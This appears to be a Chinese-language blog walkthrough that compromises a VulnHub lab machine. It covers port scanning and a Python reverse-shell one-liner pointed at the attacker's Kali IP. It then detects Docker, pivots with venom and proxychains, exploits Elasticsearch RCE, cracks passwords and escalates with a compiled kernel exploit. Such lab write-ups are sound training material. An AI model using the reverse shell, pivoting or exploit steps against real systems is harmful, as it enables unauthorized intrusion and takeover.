靶场下载
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
涉及的任务:
端口扫描
网络应用程序攻击
代码注入
pivoting(英语不好不知道对应什么术语)
开发
密码破解
暴力破解
机器
kali 192.168.0.10
靶机 192.168.0.1/24
过程
利用arp-scan发现目标IP
arp-scan -l
NMAP扫描端口与对应服务并查看
nmap -sS -p 1-65535 -sV -Pn 192.168.0.106
发现5000端口对应了python服务
打开后对框略微测试,发现没xss和ssti。准备扫描目录
扫描目录
发现后台地址
由于这里是python写的web所以尝试利用python命令去调用系统命令。
原先想使用os.system去查看命令,发现无回显。准备尝试反弹shell
反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.10",777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
可以看到kali已经接受到了反弹shell。
发现权限是root。但是在app底下有个dockerfile的文件。有经验的人,应该立马就猜到有可能这是在docker里了
我们来继续验证下是不是在docker里
1.ls -alh /.dockerenv
一般来说如果在非docker环境下是没有这个.dockerenv文件的
2.cat /proc/1/cgroup
所以说,目前我们是在docker里面,这里其实就可以尝试去做docker逃逸了。不过这次涉及的任务里没有docker逃逸。就继续往下吧(其实我有尝试行不行,但是不行)
信息收集
先ifconfig看看
可以发现这里是个b段172.17.0.3/16
接下来我们起个web服务,然后用wget去下载netspy。并用netspy去快速检测可达网段,节省时间。
python2 -m SimpleHTTPServer 8888
接下来就利用icmp去循环查找一下其他机器
for i in $(seq 1 255); do ping -c 1 172.17.0.$i ; done
存活IP有
172.17.0.1-3
接下来可以传个代理工具去访问其他机器了。
起初我想用ew去做代理,但是发现目标环境似乎不支持ew运行,遂使用venom。
启动代理
先在kali处运行server端
根据目标版本上传agent到目标机器后并执行
这边server端可以发现新的监听上线
接下来进入node在本地1080端口建立一个socks5监听
编辑一下proxychains配置文件
vim /etc/proxychains.conf
横向渗透
在编辑好代理工具proxychains后利用这个工具可以进行横向渗透了。
我们先代理一下浏览器,看看能不能访问到内网的站点
成功访问到。说明代理已经建立好了。那接下来就对其他俩台做个端口扫描
proxychains nmap -sT -Pn 172.17.0.1
结果发现172.17.0.1也是那个站点
扫描172.17.0.2
这里发现服务是Elasticsearch REST API 1.4.2
这个版本是存在RCE漏洞的。
我们利用searchsploit去查找一下漏洞
并在当前目录发现个passwords
去somd5网站解密(就不一个个截图了)
得到密码后尝试用ssh去登录目标系统
提权
先查看一下系统版本。然后去搜索对应exp
由于目标靶机无编译环境,所以,我们需要在本地编译好后上传至目标靶机
且在代码中也会发现调用了个编译的操作,所以我们也需要修改这串代码。
删除下图代码
并修改为
然后利用find命令找到该so文件并cp到当前目录
虽然有告警但是影响不大不用管
gcc -o exp 37292.c
然后传递到目标机器上并执行,成功获得ROOT权限。至此靶机渗透结束
博主真是太厉害了!!!